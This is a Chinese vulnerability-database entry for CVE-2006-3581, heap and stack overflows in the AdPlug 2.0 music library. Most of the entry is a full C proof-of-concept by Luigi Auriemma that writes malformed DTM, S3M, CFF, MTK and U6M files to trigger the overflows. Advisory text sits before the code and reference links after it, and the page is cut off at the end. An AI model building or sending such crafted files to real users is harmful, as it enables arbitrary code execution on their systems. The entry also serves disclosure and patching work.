AdPlug多个远程文件缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110573 漏洞类型 缓冲区溢出
发布时间 2006-07-06 更新时间 2006-08-02
CVE编号 CVE-2006-3581 CNNVD-ID CNNVD-200607-217
漏洞平台 Linux CVSS评分 5.1
|漏洞来源
https://www.exploit-db.com/exploits/28181
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200607-217
|漏洞详情
AudaciousAdPlug2.0及之前版本存在多个基于堆栈的缓冲区溢出。远程用户协助式攻击者可以借助(1)DTM和(2)S3M大文件,执行任意代码。
|漏洞EXP
source: http://www.securityfocus.com/bid/18859/info

The AdPlug library is affected by multiple remote buffer-overflow vulnerabilities. These issues are due to the library's failure to properly bounds-check user-supplied input before copying it into insufficiently sized memory buffers.

These issues allow remote attackers to execute arbitrary machine code in the context of the user running applications that use the affected library to open attacker-supplied malicious files.

The AdPlug library version 2.0 is vulnerable to these issues; previous versions may also be affected.

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>



#define VER                     "0.1"
#define MODULESIZE              0x10000

#define LOWORD(l)               ((l) & 0xffff)
#define HIWORD(l)               ((l) >> 16)
#define LOBYTE(w)               ((w) & 0xff)
#define HIBYTE(w)               ((w) >> 8)
#define ARRAY_AS_DWORD(a, i)    ((a[i + 3] << 24) + (a[i + 2] << 16) + (a[i + 1] << 8) + a[i])
#define ARRAY_AS_WORD(a, i)     ((a[i + 1] << 8) + a[i])
#define CHARP_AS_WORD(p)        (((*(p + 1)) << 8) + (*p))



unsigned short dmo_unpacker_brand(unsigned short range);
int dmo_unpacker_decrypt(unsigned char *buf, long len);
void std_err(void);



#pragma pack(1)

struct {
    char            id[16];
    unsigned char   version;
    unsigned short  size;
    unsigned char   packed;
    unsigned char   reserved[12];
} cff_head;

struct {
    char            id[18];
    unsigned short  crc;
    unsigned short  size;
} mtk_head;

struct {
    char            id[12];
    unsigned char   version;
    char            title[20];
    char            author[20];
    unsigned char   numpat;
    unsigned char   numinst;
} dtm_head;

struct {
    char            name[28];
    unsigned char   kennung;
    unsigned char   typ;
    unsigned char   dummy[2];
    unsigned short  ordnum;
    unsigned short  insnum;
    unsigned short  patnum;
    unsigned short  flags;
    unsigned short  cwtv;
    unsigned short  ffi;
    char            scrm[4];
    unsigned char   gv;
    unsigned char   is;
    unsigned char   it;
    unsigned char   mv;
    unsigned char   uc;
    unsigned char   dp;
    unsigned char   dummy2[8];
    unsigned short  special;
    unsigned char   chanset[32];
} s3m_head;

#pragma pack()



int main(int argc, char *argv[]) {
    FILE            *fd;
    int             i,
                    j,
                    attack,
                    buffsz,
                    compsz;
    unsigned char   *buff,
                    *comp;

    fputs("\n"
        "AdPlug library <= 2.0 and CVS <= 04 Jul 2006 multiple overflow "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <attack> <file_to_create>\n"
            "\n"
            "Attack:\n"
            " 1 = heap overflow in the unpacking of CFF files\n"
            " 2 = heap overflow in the unpacking of MTK files\n"
            " 3 = heap overflow in the unpacking of DMO files\n"
            " 4 = buffer-overflow in DTM files\n"
            " 5 = buffer-overflow in S3M files\n"
            " 6 = heap overflow in the unpacking of U6M files\n"
            "\n"
            "Note: this proof-of-concept is experimental and doesn't contain the code for\n"
            "      compressing the data so you must edit it for adding the missing code if\n"
            "      you have it\n"
            "      Actually only attack 4 and 5 can be considered completed!\n"
            "\n", argv[0]);
        exit(1);
    }

    attack = atoi(argv[1]);

    printf("- create file %s\n", argv[2]);
    fd = fopen(argv[2], "rb");
    if(fd) {
        fclose(fd);
        printf("- do you want to overwrite it (y/N)?\n  ");
        fflush(stdin);
        if((fgetc(stdin) | 0x20) != 'y') exit(1);
    }
    fd = fopen(argv[2], "wb");
    if(!fd) std_err();

    if(attack == 1) {                   /* CFF */
        buffsz  = MODULESIZE + 256;

        buff = malloc(buffsz);

        memset(buff,                0,                                  MODULESIZE);
        memcpy(&buff[0x5E1],        "CUD-FM-File - SEND A POSTCARD -",  31);    // for quick return
        memset(buff + MODULESIZE,   'a',                                buffsz - MODULESIZE);

        /*
            DATA MUST BE COMPRESSED WITH A PARTICULAR TYPE OF LZW!!!
            I DON'T KNOW THE COMPRESSION ALGORITHM SO DATA IS STORED AS IS
        */
        // compsz = 16 + compress(buff, comp + 16, buffsz);
        comp   = buff;
        compsz = buffsz;

        memcpy(comp,                "YsComp""\x07""CUD1997""\x1A\x04",  16);

        memcpy(cff_head.id,         "<CUD-FM-File>""\x1A\xDE\xE0",      sizeof(cff_head.id));
        cff_head.version = 1;
        cff_head.size    = compsz;
        cff_head.packed  = 1;
        memset(cff_head.reserved, 0, sizeof(cff_head.reserved));

        fwrite(&cff_head, sizeof(cff_head), 1, fd);
        fwrite(comp,      compsz,           1, fd);

    } else if(attack == 2) {            /* MTK */
        buffsz = 0xffff;

        buff = malloc(buffsz);

        memset(buff,                'a',                                buffsz);

        /*
            DATA MUST BE COMPRESSED!!!
            I DON'T KNOW THE COMPRESSION ALGORITHM SO DATA IS STORED AS IS
        */
        // compsz = compress(buff, comp, buffsz);
        comp   = buff;
        compsz = buffsz;

        strncpy(mtk_head.id,    "mpu401tr\x92kk\xeer@data",             18);
        mtk_head.crc     = 0;
        mtk_head.size    = 0;   // heap overflow

        fwrite(&mtk_head, sizeof(mtk_head), 1, fd);
        fwrite(comp,      compsz,           1, fd);

    } else if(attack == 3) {            /* DMO */
        printf("- not implemented!\n");

    } else if(attack == 4) {            /* DTM */
        strncpy(dtm_head.id,    "DeFy DTM ",                            sizeof(dtm_head.id));
        dtm_head.version = 0x10;
        strncpy(dtm_head.title, "title",                                sizeof(dtm_head.title));
        strncpy(dtm_head.author,"author",                               sizeof(dtm_head.author));
        dtm_head.numpat  = 0;
        dtm_head.numinst = 0;

        fwrite(&dtm_head, sizeof(dtm_head), 1, fd);

        for(i = 0; i < 15; i++) fputc(0, fd);
        buffsz = 140;                   // <== buffer-overflow
        buff = malloc(buffsz);
        memset(buff, 'a', buffsz);
        fputc(buffsz, fd);
        fwrite(buff,      buffsz,         1, fd);

        for(i = 0; i < 100; i++) fputc(0, fd);

    } else if(attack == 5) {            /* S3M */
        strncpy(s3m_head.name,  "name", sizeof(s3m_head.name));
        s3m_head.kennung = 0x1a;
        s3m_head.typ     = 16;
        memset(s3m_head.dummy,  0,      sizeof(s3m_head.dummy));
        s3m_head.ordnum  = 0;
        s3m_head.insnum  = 120;         // <== buffer-overflow
        s3m_head.patnum  = 0;           // <== buffer-overflow
        s3m_head.flags   = 0;
        s3m_head.cwtv    = 0;
        s3m_head.ffi     = 0;
        memcpy(s3m_head.scrm,   "SCRM", sizeof(s3m_head.scrm));
        s3m_head.gv      = 0;
        s3m_head.is      = 0;
        s3m_head.it      = 0;
        s3m_head.mv      = 0;
        s3m_head.uc      = 0;
        s3m_head.dp      = 0;
        memset(s3m_head.dummy2, 0,      sizeof(s3m_head.dummy2));
        s3m_head.special = 0;
        for(i = 0; i < 32; i++) s3m_head.chanset[i] = 0;

        fwrite(&s3m_head, sizeof(s3m_head), 1, fd);
        for(i = 0; i < s3m_head.ordnum; i++) fputc('a', fd);
        for(i = 0; i < s3m_head.insnum; i++) { fputc('1', fd); fputc('0', fd); }    // little endian
        for(i = 0; i < s3m_head.patnum; i++) { fputc('1', fd); fputc('0', fd); }    // little endian

        for(i = 0; i < s3m_head.insnum; i++) {
            for(j = 0; j < 80; j++) fputc(0, fd);
        }

        for(i = 0; i < s3m_head.patnum; i++) {
            /* skipped */
        }

    } else if(attack == 6) {            /* U6M */
        buffsz = 1000;
        buff   = malloc(buffsz);

        memset(buff, 0, buffsz);
        /*
            DATA MUST BE COMPRESSED WITH A PARTICULAR TYPE OF LZW!!!
            I DON'T KNOW THE COMPRESSION ALGORITHM SO DATA IS STORED AS IS
        */
        // compsz = compress(buff, comp, buffsz);
        comp   = buff;
        compsz = buffsz;

        fputc(buffsz        & 0xff, fd);
        fputc((buffsz >> 8) & 0xff, fd);
        fputc(0, fd);
        fputc(0, fd);
        fputc(0, fd);
        fputc(1, fd);

        fwrite(comp,      compsz,           1, fd);
    }

    fclose(fd);
    printf("- finished\n");
    return(0);
}



void std_err(void) {
    perror("\nError");
    exit(1);
}
|参考资料

来源:VUPEN
名称:ADV-2006-2697
链接:http://www.frsirt.com/english/advisories/2006/2697
来源:SECUNIA
名称:20972
链接:http://secunia.com/advisories/20972
来源:BID
名称:18859
链接:http://www.securityfocus.com/bid/18859
来源:BUGTRAQ
名称:20060706VariousheapandstackoverflowbugsinAdPluglibrary2.0(CVS04Jul2006)
链接:http://www.securityfocus.com/archive/1/archive/1/439432/100/100/threaded
来源:GENTOO
名称:GLSA-200607-13
链接:http://security.gentoo.org/glsa/glsa-200607-13.xml
来源:SECUNIA
名称:21295
链接:http://secunia.com/advisories/21295
来源:SECUNIA
名称:21238
链接:http://secunia.com/advisories/21238
来源:MISC
链接:http://aluigi.altervista.org/adv/adplugbof-adv.txt
来源:adplug.cvs.sourceforge.net
链接:http://adplug.cvs.sourceforge.net/adplug/adplug/src/dtm.cpp?view=log#rev1.17
来源:XF
名称:adplug-s3m-file-bo(27674)
链接:http://xforce.iss.net/xforce/xfdb/27674
来源:XF
名称:adplug-dtm-file-bo(27673)
链接:http://xforce.iss.net/xforce/xfdb/27673
来源:OSVDB
名称:27046
链接:http://www.osvdb.org/27046
来源:OSVDB
名称:27045
链接:http://www.osvdb.org/27045
来源:GENTOO
名称:GLS